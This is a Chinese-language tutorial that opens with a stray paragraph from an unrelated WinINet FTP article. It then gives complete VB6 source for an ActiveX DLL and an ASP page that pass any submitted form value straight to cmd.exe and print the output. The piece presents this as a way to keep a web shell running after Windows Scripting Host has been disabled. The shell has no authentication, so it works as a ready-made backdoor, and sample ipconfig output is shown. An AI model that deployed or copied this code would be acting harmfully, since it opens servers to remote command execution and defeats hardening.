下面如何? 有了提供的源代码,你就已经有了一个FTP函数的ActiveX服务器组件。现在我们可以跟随同样的基本步骤,创建一个客户机侧的OCX ,你可以将其包含在你的HTML页中以允许用户从他们的PC进行FTP。还可以看看WinINet API提供的一些其它函数。例如你可以使用HTTP函数创建一个机器人,将Web 站点的内容拉回来,对所有的页进行索引。或者创建一个探测器,在一个预定的基础上,
用HTTP函数检测Web 站点或Web 页的状态。用WinINet API所提供的功能,这些和更多的想法都可以相当简单地来探索。 有时我们在管理服务器时为了安全起见会禁用 Windows Scripting Host,这样能防止某些不法用户利用WSH生成一个WebShell,对服务器造成很大的安全隐患。但如果我们又想禁用WSH,又想使用自己的WebShell用于服务器的管理怎么办呢?这里介绍了一种实现 ASP中运行CMD并显示结果的组件编程。希望对大家能有所帮助。 首先我们新建一个ActiveDLL工程,命名为ASPCMD,新建的类命名为CMDShell。在“Project“的“Referenct“中添加一个引用:Microsoft Active Server Pages Object Library。 然后我们的思路是使用Window API ShellExecute 调用cmd.exe,将运行的结果保存到一个临时文本文件,然后读出这个文件的内容显示出来。 以下是工程ASPCMD的类CMDShell.cls的代码。 Option Explicit Dim rp As Response Dim rq As Request Dim ap As Application Dim sr As Server Dim sn As Session Private Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long) Private Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hWnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long Private Sub ShellEx(ByVal sLocation As String, ByVal sPara As String, Optional MaxedForm As Boolean = False) On Error GoTo errhandle: Dim lR As Long Dim Style As Long Dim hWnd As Long If MaxedForm Then Style = vbMaximizedFocus Else Style = vbNormalFocus End If lR = ShellExecute(hWnd, "open", sLocation, sPara, "", Style) If (lR < 0) Or (lR > 32) Then 'success Else rp.Write "Error Occered when starting the program " & sLocation End If errhandle: rp.Write "Error:" & Err.Description End Sub Public Sub OnStartPage(ByVal mysc As ScriptingContext) Set rp = mysc.Response Set rq = mysc.Request Set sr = mysc.Server Set ap = mysc.Application Set sn = mysc.Session End Sub Public Sub OnEndPage() Set rp = Nothing Set rq = Nothing Set sr = Nothing Set ap = Nothing Set sn = Nothing End Sub Private Function FileExists(Filename As String) As Boolean Dim i As Integer On Error Resume Next i = Len(Dir$(Filename)) If Err Or i = 0 Then FileExists = False Else FileExists = True End Function Private Function IsOpen(Filename As String) As Boolean Dim fFile As Integer Dim msg As String fFile = FreeFile() On Error GoTo ErrOpen Open Filename For Binary Lock Read Write As fFile Close fFile Exit Function ErrOpen: If Err.Number <> 70 Then msg = "Error # " & Str(Err.Number) & " was generated by " _ & Err.Source & Chr(13) & Err.Description Else IsOpen = True End If End Function Public Sub Exec1(ByVal strCmd As String) On Error GoTo errhandle: Dim myTimer As Integer myTimer = 0 Dim strOut As String Dim strFname As String //生成一个临时文件 If Len(App.Path) = 3 Then strFname = App.Path & "lhtmp.txt" Else strFname = App.Path & "\lhtmp.txt" End If //如果在运行前文件已存在则删除之 If FileExists(strFname) Then Kill strFname End If //运行行用户的CMD 命令,并将结果输出到临时文件中 //注意cmd.exe的/c参数是指运行完一个 命令后马上结束会话状态。等同于在 windows的run中输入的CMD 命令。 Dim strPara As String strPara = "/c " & strCmd & ">" & strFname ShellEx "cmd.exe", strPara //等待生成输出文件 Do While Not FileExists(strFname) Sleep 1000 DoEvents myTimer = myTimer + 1 If myTimer = 15 Then Exit Do End If Loop myTimer = 0 //等待文件输出完毕 Do While IsOpen(strFname) Sleep 1000 DoEvents myTimer = myTimer + 1 If myTimer = 15 Then Exit Do End If Loop //显示输出文件的内容 Open strFname For Input As #1 Do While Not EOF(1) Line Input #1, strOut rp.Write strOut & vbCrLf Loop Close #1 Sleep 1000 //删除临时文件 Kill strFname Exit Sub errhandle: rp.Write "error occured:" & Err.Description End Sub 生成ASPCMD.dll,使用regsvr32 aspcmd.dll注册组件。 以下是 调用该DLL的一个 ASP程序例子: <%@LANGUAGE="VBSCRIPT"%>
<br>.singleborder
{;}
<br>.noborder
{;}
<br>body
{background-color:#000000;scrollbar-face-color:#333333;font-size:12px;scrollbar-highlight-color:#000000;scrollbar-shadow-color:#000000;scrollbar-3dlight-color:#000000;scrollbar-arrow-color:#000000;scrollbar-darkshadow-color:#000000<br> font-family: Fixedsys;font-size:9pt;}
" size=102> <% if request.form("cmd")<>"" then set testme=server.createobject("aspcmd.cmdshell") %>
<%=request.Form("cmd")%>
<br><%=testme.exec1(request.form("cmd"))%>
<% set testme=nothing end if %>
以下是运行Ipconfig /all的结果:
Windows 2000 IP Configuration
Host Name . . . . . . . . . . . . : ibm-wrk-02 Primary DNS Suffix . . . . . . . : Node Type . . . . . . . . . . . . : Broadcast IP Routing Enabled. . . . . . . . : No WINS Proxy Enabled. . . . . . . . : No
Ethernet adapter 本地连接:
Connection-specific DNS Suffix . : Description . . . . . . . . . . . : Intel(R) PRO/100 VM Network Connection Physical Address. . . . . . . . . : 00-08-02-BD-D7-EB DHCP Enabled. . . . . . . . . . . : No IP Address. . . . . . . . . . . . : 192.168.0.4 Subnet Mask . . . . . . . . . . . : 255.255.255.0 Default Gateway . . . . . . . . . : 192.168.0.1 DNS Servers . . . . . . . . . . . : 202.106.196.115
|